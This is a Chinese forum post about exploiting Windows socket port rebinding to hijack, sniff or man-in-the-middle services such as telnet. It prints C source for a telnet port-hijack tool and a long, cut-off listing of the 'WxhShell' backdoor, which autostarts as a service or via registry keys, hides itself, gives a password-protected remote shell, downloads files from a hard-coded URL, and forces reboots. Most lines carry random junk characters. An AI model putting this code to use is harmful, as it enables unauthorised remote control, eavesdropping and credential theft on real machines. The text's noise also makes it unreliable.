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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?`,<l#sj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )"2)r{7:  
+ZEj(fd9  
  saddr.sin_family = AF_INET; <T+)~&g$  
YN#i^(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); De@GNN"-  
,8nu%zcVn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |?hNl2m  
u;GS[E4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LWuciHfd+  
z;JyHC)  
  这意味着什么?意味着可以进行如下的攻击: UmcPpZ  
:[|4Zn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o<`Mvw@Z  
u+a" '*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N?TXPY  
lO! Yl:;m%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]*|+06  
(B{`In8G>y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \C $LjSS-  
: a @_GIC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 > L_kSC?  
sa$CCQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8i/5L=a"`  
'/%]B@!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zgXg-cr  
(`\ DDJ[  
  #include VPoA,;Y"-  
  #include mD<- <]SYp  
  #include #$2 {l,>  
  #include    n]^zIe^6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $ (/=Wn  
  int main() e` 9d&"  
  { 5gYv CW&~  
  WORD wVersionRequested; hkB/ OJ  
  DWORD ret; $5N%!  
  WSADATA wsaData; {Z0(V"Q  
  BOOL val; #d2XVpO[0  
  SOCKADDR_IN saddr; Hd]o?q\  
  SOCKADDR_IN scaddr; .\XFhOsa  
  int err; ^3"~ T  
  SOCKET s; /k8Lu+OJ  
  SOCKET sc; .}!"J`{ W  
  int caddsize; Z" j #kaXA  
  HANDLE mt; p5`iq~e9  
  DWORD tid;   LK\L}<;1V  
  wVersionRequested = MAKEWORD( 2, 2 ); yuIy?K  
  err = WSAStartup( wVersionRequested, &wsaData ); Cw6\'p%l-\  
  if ( err != 0 ) { 0M=A,`qk  
  printf("error!WSAStartup failed!\n"); ybNo`:8 A;  
  return -1; Yuo:hF\DH  
  } E><$sN6  
  saddr.sin_family = AF_INET; {\zTE1X9  
   3/_rbPr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pGz 5!d  
uH*moVw@5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gySCK-(y  
  saddr.sin_port = htons(23); }C-K0ba7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .n$c+{  
  { U9"g;t+/   
  printf("error!socket failed!\n"); FM$$0}X  
  return -1; jN))|eD0x  
  } _L?MYkD  
  val = TRUE; (D2G.R\pr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W]Bc7JM]T+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #gW"k;7P  
  { HiAj3  
  printf("error!setsockopt failed!\n"); 7PTw'+{  
  return -1; ) uM*`%  
  } 6Qtyv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u}I-#j)wap  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O-P'Ff"}t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wwh1aV *  
Sc b'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xqm-m  
  { qzon);#7w  
  ret=GetLastError(); T.bn~Z#f  
  printf("error!bind failed!\n"); 0'wchy>  
  return -1; xB5qX7*.  
  } p>#sR4d>  
  listen(s,2); `qoRnG  
  while(1) 5&)T[Q X`  
  { B&fH FyK1n  
  caddsize = sizeof(scaddr); we:P_\6  
  //接受连接请求 L%S(z)xX3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -gn!8G1  
  if(sc!=INVALID_SOCKET) 2P35#QI[)  
  { |L9p.q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V.w L  
  if(mt==NULL) jk (tw-B  
  { U:r^4,Mz*  
  printf("Thread Creat Failed!\n"); r+TvC{  
  break; aH/8&.JLi  
  } \/XU v(  
  } %f)%FN . S  
  CloseHandle(mt); ?)NgODU  
  } [0bp1S~  
  closesocket(s); ^8.s"4{  
  WSACleanup(); h`i*~${yg  
  return 0;  *.us IH2  
  }   u@]rR&h`  
  DWORD WINAPI ClientThread(LPVOID lpParam) b=@H5XTZyK  
  { d+45Y,|  
  SOCKET ss = (SOCKET)lpParam; ,#Pp_f<  
  SOCKET sc; d+qeZGg^A  
  unsigned char buf[4096]; Xsk/U++  
  SOCKADDR_IN saddr; c T21  
  long num; f;D(X/"f]  
  DWORD val; inHlL  
  DWORD ret; a``/x_EZMn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5J-slNNCQ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PGd?c#v#  
  saddr.sin_family = AF_INET; J,G/L!Bp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >//yvkZ9,  
  saddr.sin_port = htons(23); M{z&h>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u+lNcyp"MW  
  { @[LM8 @:  
  printf("error!socket failed!\n"); nt:ZO,C:R  
  return -1; V~#8lu7;  
  } _|r/* (hh  
  val = 100; %y)]Q|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  sWyx_  
  { '}l7=r   
  ret = GetLastError(); $bU.6  
  return -1; /&N\#;kK?b  
  } GX+Gqj.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %)ri:Qq  
  { XqLR2 d  
  ret = GetLastError(); ,UYe OM2Ao  
  return -1; h[bC#(  
  } `#*`hH8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "M;[c9  
  { 7aS%;EU  
  printf("error!socket connect failed!\n"); '2qbIYanh  
  closesocket(sc); [_`<<!u>-  
  closesocket(ss); yi8AzUW cW  
  return -1; fBb:J+  
  } /&H l62Ak  
  while(1) Fs}B\R/J  
  { |Ed?s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w1EB>!<;tj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Zd| u>tn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1@t8i?:h  
  num = recv(ss,buf,4096,0); v4]#Nc$~T  
  if(num>0) ),>whCtsI  
  send(sc,buf,num,0); /hur6yI8  
  else if(num==0) }ssP%c]  
  break; _WGWU7h  
  num = recv(sc,buf,4096,0); vL#I+_ 2  
  if(num>0) kXWC o6?  
  send(ss,buf,num,0); oj=% < a  
  else if(num==0) 2Akh/pb  
  break; lDL(,ZZS`  
  } ~\*wt(o  
  closesocket(ss); ' %&-`/x  
  closesocket(sc); +4n}H}9l  
  return 0 ; >]HvXEdNZ|  
  } #Vhr 1;j  
>guX,hx^  
VtzBYza  
========================================================== tl 9`  
Jt:)(&-t   
下边附上一个代码,,WXhSHELL >E7s}bL"  
4j}.=u*X7  
========================================================== 1@N4Y9o  
BXNC(^  
#include "stdafx.h" KBoW(OP4'  
vjVa),2  
#include <stdio.h> 29nMm>P.e  
#include <string.h> +W/{UddeKU  
#include <windows.h> SBaTbY0  
#include <winsock2.h> dUBf.2 ry  
#include <winsvc.h> CD. XZA[  
#include <urlmon.h> wHZ(=z/q  
E#A}2|7,g  
#pragma comment (lib, "Ws2_32.lib") [s+FX5'K  
#pragma comment (lib, "urlmon.lib") _&N:%;9uD  
*Z+U}QhHD6  
#define MAX_USER   100 // 最大客户端连接数 2q UX"a4  
#define BUF_SOCK   200 // sock buffer u/CR7Y  
#define KEY_BUFF   255 // 输入 buffer >[N6_*K]  
_PLZ_c:O  
#define REBOOT     0   // 重启 sC ?e%B  
#define SHUTDOWN   1   // 关机 sY[!=`@  
/g1;`F(MS/  
#define DEF_PORT   5000 // 监听端口 ? <w[ZWytm  
9 ge'Mo  
#define REG_LEN     16   // 注册表键长度 |fb*<o eT  
#define SVC_LEN     80   // NT服务名长度 *&5./WEOH  
uG+eF  
// 从dll定义API k!T-X2L=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [,Y;#;   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mC$ te  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?es9j]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /VFQbJ+`  
rcf#8  
// wxhshell配置信息 *o6QBb  
struct WSCFG { p`S~UBcL.  
  int ws_port;         // 监听端口 'X\C/8\  
  char ws_passstr[REG_LEN]; // 口令 DB'3h7T  
  int ws_autoins;       // 安装标记, 1=yes 0=no KkJE-k*D+w  
  char ws_regname[REG_LEN]; // 注册表键名 Oiw!d6"Ovq  
  char ws_svcname[REG_LEN]; // 服务名 V0bKtg1f?-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !-7<x"avm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >J,IxRGi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bv``PSb3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w[uw hd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )"Wy/P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H:t2;Z'  
t4p-pH'9b  
}; "/x/]Qx2  
rm<`H(cT  
// default Wxhshell configuration Kww+lgzS  
struct WSCFG wscfg={DEF_PORT, m[w~h\FS  
    "xuhuanlingzhe", 9S?b &]  
    1, e63io0g>  
    "Wxhshell", q#0yu"<  
    "Wxhshell", pW&8 =Ew  
            "WxhShell Service", vX*kvEG  
    "Wrsky Windows CmdShell Service", j[=P3Z0q  
    "Please Input Your Password: ", F3nPQw{;  
  1, ZV!*ZpTe~  
  "http://www.wrsky.com/wxhshell.exe", 2bf#L?5g/  
  "Wxhshell.exe" s{fL~}Yz  
    }; S+pm@~xe  
=]L#v2@  
// 消息定义模块 |vj!,b88n#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c;'7o=rr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L @8[.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c- [IgX e  
char *msg_ws_ext="\n\rExit."; WWA!_  
char *msg_ws_end="\n\rQuit."; ?osYs<k \  
char *msg_ws_boot="\n\rReboot..."; 'fIG$tr9X  
char *msg_ws_poff="\n\rShutdown..."; =/N0^  
char *msg_ws_down="\n\rSave to "; ?o(Y\YJf  
I -XkxDw  
char *msg_ws_err="\n\rErr!"; MENrP5AL  
char *msg_ws_ok="\n\rOK!"; zENo2#{_N  
"; ?^gA  
char ExeFile[MAX_PATH]; XE|"n  
int nUser = 0; Z-i$KF  
HANDLE handles[MAX_USER]; a]x\e{  
int OsIsNt; D|8h^*Ya  
cV* 0+5  
SERVICE_STATUS       serviceStatus; U}W7[f lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C 2?p>S/q  
h-@_.&P0e  
// 函数声明 z"!=A}i  
int Install(void); B 3eNvUFZg  
int Uninstall(void); s`L>mRw`  
int DownloadFile(char *sURL, SOCKET wsh); zh4m`}p  
int Boot(int flag); D]Gt=2\NG9  
void HideProc(void); 9riKSp:5  
int GetOsVer(void);  ePI)~  
int Wxhshell(SOCKET wsl); x{{ZV]  
void TalkWithClient(void *cs); Va\?"dH>M  
int CmdShell(SOCKET sock); LYS[qLpf  
int StartFromService(void); Q#I?nBin  
int StartWxhshell(LPSTR lpCmdLine); O:X|/g0Y  
gd;e-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wk6tdY{&s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u=B,i#>s  
_lG\_6oJ,  
// 数据结构和表定义 .w~zW*M0  
SERVICE_TABLE_ENTRY DispatchTable[] = ,:3Di (  
{ MtK5>mhZI`  
{wscfg.ws_svcname, NTServiceMain}, -MeO|HWm  
{NULL, NULL} nB , &m&  
}; JZ0u/x5  
9,Ug  
// 自我安装 (2%z9W  
int Install(void) 86f/R c  
{ b%I2ig  
  char svExeFile[MAX_PATH]; .sbV<ulbc  
  HKEY key; 96CC5  
  strcpy(svExeFile,ExeFile); Fy]j33E  
4Yl:1rz  
// 如果是win9x系统,修改注册表设为自启动 3Y=?~!,Jk  
if(!OsIsNt) { q0QB[)AP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1)h+xY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C AF{7 `{  
  RegCloseKey(key); sm @Ot~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n&}ILLc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }5Pzen  
  RegCloseKey(key); qn@:A2e d  
  return 0; }Gm/9@oKc  
    } ,46k8%WW  
  } }Z\PE0  
} 0Bhf(5  
else { Q u@T}Ci  
,(CIcDJ2U_  
// 如果是NT以上系统,安装为系统服务 VBI~U?0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k-\RdX)E  
if (schSCManager!=0) .TetN}w  
{ XqTDLM&  
  SC_HANDLE schService = CreateService yPza  
  ( -.X-02  
  schSCManager, <Xr {1M D  
  wscfg.ws_svcname, J.QFrIB{]+  
  wscfg.ws_svcdisp, {z/Y~rf  
  SERVICE_ALL_ACCESS, 'rQ>Z A_8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ')>&:~  
  SERVICE_AUTO_START, V}kQXz"9  
  SERVICE_ERROR_NORMAL, =%V(n{7=  
  svExeFile, BSB;0OM  
  NULL, G\ht)7SGgf  
  NULL, &*N;yW""f  
  NULL, F"Y.'my8  
  NULL, Sq,x57-  
  NULL Q)s[ls  
  ); ^p 4 33  
  if (schService!=0) 6vQCghI  
  { !nkjp[p  
  CloseServiceHandle(schService); 5L4{8X0X8  
  CloseServiceHandle(schSCManager); 3KW4 ]qo~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nuip  
  strcat(svExeFile,wscfg.ws_svcname); X]OVc<F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xMu[#\Vc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '{?7\+o.x  
  RegCloseKey(key); 69$[yt>KYz  
  return 0; 8vLaSZ="[  
    } Yq?FiE0  
  } t$lO~~atr  
  CloseServiceHandle(schSCManager); zg2}R4h  
} ]e+88eQ  
} ?W(>Yefk  
@Js^=G2  
return 1; af<R.  
} (/r l\I  
lU[" ZFP  
// 自我卸载 $ kA'9Y  
int Uninstall(void) cn$o$:tW  
{ -6OgM}  
  HKEY key; +(-L  
ZCAdCKX|  
if(!OsIsNt) { d/O~"d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YxUC.2V|7$  
  RegDeleteValue(key,wscfg.ws_regname); x$;I E  
  RegCloseKey(key); z"n7du}v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O IMsxXF\J  
  RegDeleteValue(key,wscfg.ws_regname); =x/Ap1  
  RegCloseKey(key); O:Ixy?b;Z  
  return 0; OJGEX}3'  
  } `"/s,"c:D  
} TUQ+?[  
} #Jo#[-r  
else { NM;0@ o  
;ctJ9"_g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .m]"lH*  
if (schSCManager!=0) %&RF;qa2xu  
{ <B?@,S>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,X05&'@Z  
  if (schService!=0) a$*)d($  
  { oXef<- :  
  if(DeleteService(schService)!=0) { Wz~=JvRHh  
  CloseServiceHandle(schService); s?8vs%(l  
  CloseServiceHandle(schSCManager); .I"Qu:``  
  return 0; W'BB FG  
  } .m&JRzzV  
  CloseServiceHandle(schService); *t JgQ[  
  } vjcG F'-  
  CloseServiceHandle(schSCManager); Pde|$!Jo  
} 2L<iIBSJwm  
} Be=J*D!E=>  
IezOal  
return 1; O#,Uz2  
} GxL;@%B  
R;wq  
// 从指定url下载文件 qW1d;pt  
int DownloadFile(char *sURL, SOCKET wsh) pu:Ie#xTDf  
{ 0@K?'6  
  HRESULT hr; 'Olp2g8=  
char seps[]= "/"; 3 ?1qI'5  
char *token; (}W+W\.  
char *file; =z5'A|Wa=,  
char myURL[MAX_PATH]; pO* $ '8L  
char myFILE[MAX_PATH]; hGPo{>xR  
mIK-a{?G  
strcpy(myURL,sURL); TzC'x WO  
  token=strtok(myURL,seps); Ua>lf8w<  
  while(token!=NULL) OD*\<Sc  
  { csceu+ IA  
    file=token; ;#F/2UgHB  
  token=strtok(NULL,seps); #mI{D\UR  
  } 5/vfmDt3'G  
INi9`M.h  
GetCurrentDirectory(MAX_PATH,myFILE); CWP),]#n  
strcat(myFILE, "\\"); yMU>vr  
strcat(myFILE, file); Z`UwXp_s  
  send(wsh,myFILE,strlen(myFILE),0); |\?mX=a.y  
send(wsh,"...",3,0); s#%$aQ|Fp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yJCqP=  
  if(hr==S_OK) \(ygdZ{R  
return 0; S_E-H.d"  
else 0Jz5i4B  
return 1; oNyVRH ZH  
7,MDFO{n  
} [g bYIwL.  
w1aev  
// 系统电源模块 F;4*,Ap  
int Boot(int flag) {t.5cX"[  
{ gx-ib/_f1  
  HANDLE hToken; emhI1 *}  
  TOKEN_PRIVILEGES tkp;  xJphG  
k$u\\`i]oC  
  if(OsIsNt) { {:D8@jb[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |[)k5nUQ|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PTU_<\  
    tkp.PrivilegeCount = 1; V`/ E$a1&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UlG8c~p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =cwQG&as  
if(flag==REBOOT) { :~I^ni  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aC\O'KcH  
  return 0; y /$Q5P+o  
} 'qL:7  
else {  /$Qs1*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ))/NGa  
  return 0; V`c"q.8  
} e\0vphS6  
  } DzfgPY_Py  
  else { YXJreM5  
if(flag==REBOOT) { 6x'F0{U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <Km ^>9  
  return 0; ~4 ~c+^PF  
} TY."?` [FK  
else { 7L%JCH#F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nl4,c[$C  
  return 0; -0QoVGw  
} ~[_u@8l!mN  
} {7k Jj(Ue  
fH-fEMyW  
return 1; \# p@ef  
} 9nM_LV  
/|<Pn!}J  
// win9x进程隐藏模块 ,Wv@D"4?  
void HideProc(void) |/qwR~  
{  ?z hw0  
q9e(YX>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &d%\&fCm(  
  if ( hKernel != NULL ) C+0MzfLgf  
  { J!{t/_aw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eD|p1+76  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J?wCqA  
    FreeLibrary(hKernel); h23"<  
  } TpAE9S  
fH@P&SX  
return; ty"|yA  
} r}**^"mFy  
XIGz_g;#'w  
// 获取操作系统版本 H*m3i;"4p\  
int GetOsVer(void) B\73 Vf  
{ kB)u@`</mV  
  OSVERSIONINFO winfo; R@X65o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V< Ib#rd'  
  GetVersionEx(&winfo); l&/V4V-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GM~Ek] 9C%  
  return 1; |rgp(;iO  
  else 3s]aXz:  
  return 0; |p .o^  
} [!~= m  
!*?|*\B^I  
// 客户端句柄模块 ]c9\[Kdq}H  
int Wxhshell(SOCKET wsl) x>cl$41!W  
{ R_4eME2LB  
  SOCKET wsh; &E]<dmR  
  struct sockaddr_in client; ;u8a%h!  
  DWORD myID; S-f .NC}:i  
Ybkydc  
  while(nUser<MAX_USER) *8bj3A]vf  
{ VMee"'08  
  int nSize=sizeof(client); r4isn^g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'OACbYgG  
  if(wsh==INVALID_SOCKET) return 1; 33=lR-N#  
EV'i/*v}\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w;{=  
if(handles[nUser]==0) S4_C8  
  closesocket(wsh); f7SMO-3a  
else e7Sp?>-d  
  nUser++; "5!T-Z+F  
  } 1K UM!DUD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O#do\:(b  
[  *~2Ts  
  return 0; 8FIk|p|l^  
} 8345 H  
T4nWK!}z  
// 关闭 socket _UA|0a!-  
void CloseIt(SOCKET wsh) 4 Aj<k  
{ i91 =h   
closesocket(wsh); ~m'8<B5+  
nUser--; h+ms%tNT  
ExitThread(0); }G)2HTaZ  
} U*:ju+)k  
oj(st{,  
// 客户端请求句柄 ;u-[%(00S  
void TalkWithClient(void *cs)  SDc8\ms  
{ LPeVr^  
-N'wKT5  
  SOCKET wsh=(SOCKET)cs; A>ve|us$  
  char pwd[SVC_LEN]; l*$~Y0  
  char cmd[KEY_BUFF]; .(&w/jR  
char chr[1]; FVxORQI  
int i,j; -q]5@s/  
iYf)FPET  
  while (nUser < MAX_USER) { p9E/#U8A_  
wVq9t|V  
if(wscfg.ws_passstr) { 8 :;]tt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DDq?4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i-}T t<^  
  //ZeroMemory(pwd,KEY_BUFF); TILH[r&Jg  
      i=0; I 6'!b/  
  while(i<SVC_LEN) { p/qu4[Mm  
xi<yB0MoA  
  // 设置超时 Yr*!T= z  
  fd_set FdRead; R.\]JvqO  
  struct timeval TimeOut; 1=h5Z3/fj  
  FD_ZERO(&FdRead); KO\-|#3y>  
  FD_SET(wsh,&FdRead); ~: fSD0  
  TimeOut.tv_sec=8; :Xs4C%H;  
  TimeOut.tv_usec=0; 4wN5x[vp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >m:n6M'r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~>H,~</`  
6M ;lD5(>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?t/G@  
  pwd=chr[0]; t2iQ[`/?~  
  if(chr[0]==0xd || chr[0]==0xa) { ~"\WV4}`v  
  pwd=0; lNsdbyV'  
  break; Qr_0 L  
  } Cw"[$E'J  
  i++; x_x_TEyyh  
    } w!pj);jy{  
GkIhPn(d  
  // 如果是非法用户,关闭 socket cMrO@=b;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qo!F?i/ n  
} w~q ]&  
2q(gWhcj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3B='f"G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ))dw[Xa  
1G6 \}El95  
while(1) { C+t0Zen  
D~bx'Wr+  
  ZeroMemory(cmd,KEY_BUFF); ,c-*/{3  
pss e^rFg  
      // 自动支持客户端 telnet标准   :7i x`C2  
  j=0; Eg&:yF}?(  
  while(j<KEY_BUFF) { `-e9#diQe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^s#+`Y05/  
  cmd[j]=chr[0]; ~ MsHV%  
  if(chr[0]==0xa || chr[0]==0xd) { !RPE-S  
  cmd[j]=0; Vc;g$Xr[  
  break; _^eiN'B  
  } VC0Tqk  
  j++;  "UreV  
    } Ke:WlDf  
Bd 0oA )i  
  // 下载文件 kBLFK3i  
  if(strstr(cmd,"http://")) { 6"o=`Sq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); omGzyuPF  
  if(DownloadFile(cmd,wsh)) Qv`: E   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S?6 -I,]h  
  else 5}Id[%.x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c|(J%@B)  
  } Caz5q|Oo  
  else { T*gG <8  
%t$KVV  
    switch(cmd[0]) { 71>,tq  
  tSux5 yV  
  // 帮助 ]l C2YD}  
  case '?': { V']Z_$_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'sXrtl7{^  
    break; :iLRCK3 C  
  } *];QPi~  
  // 安装 ,(Ol]W}  
  case 'i': { ^pH8'^n  
    if(Install()) /qJCp![X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oc]:Ty  
    else ul~6zBKO   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =|``d-  
    break; V ?'p E  
    } M>|ZBEK  
  // 卸载 4F9!3[}qF  
  case 'r': { :4-,Ru1C"  
    if(Uninstall()) +Adk1N8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ >&#F[aT  
    else @C!&lrf3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \q*-9_M  
    break; @"BhKUoV$K  
    } X(eW+,H  
  // 显示 wxhshell 所在路径 S[2?,C<2=  
  case 'p': { ~Kt1%&3{a?  
    char svExeFile[MAX_PATH]; z?Ok'LX  
    strcpy(svExeFile,"\n\r"); |pv$],&&:  
      strcat(svExeFile,ExeFile); gKl9Nkd!R  
        send(wsh,svExeFile,strlen(svExeFile),0); Sgv_YoD?-  
    break; i-w$-2w  
    } S9r?= K  
  // 重启 VBix8|  
  case 'b': { I|c!:4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xp9I3nd|  
    if(Boot(REBOOT)) NA/`LaJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^"D^D`$@  
    else { 6WT3-@d  
    closesocket(wsh); TE$6=;  
    ExitThread(0); ZfX$q\7  
    } e ><0crb  
    break; 7l$ u.[  
    } 9unRMvE u  
  // 关机 {|hg3R~A  
  case 'd': { ~##FW|N)  
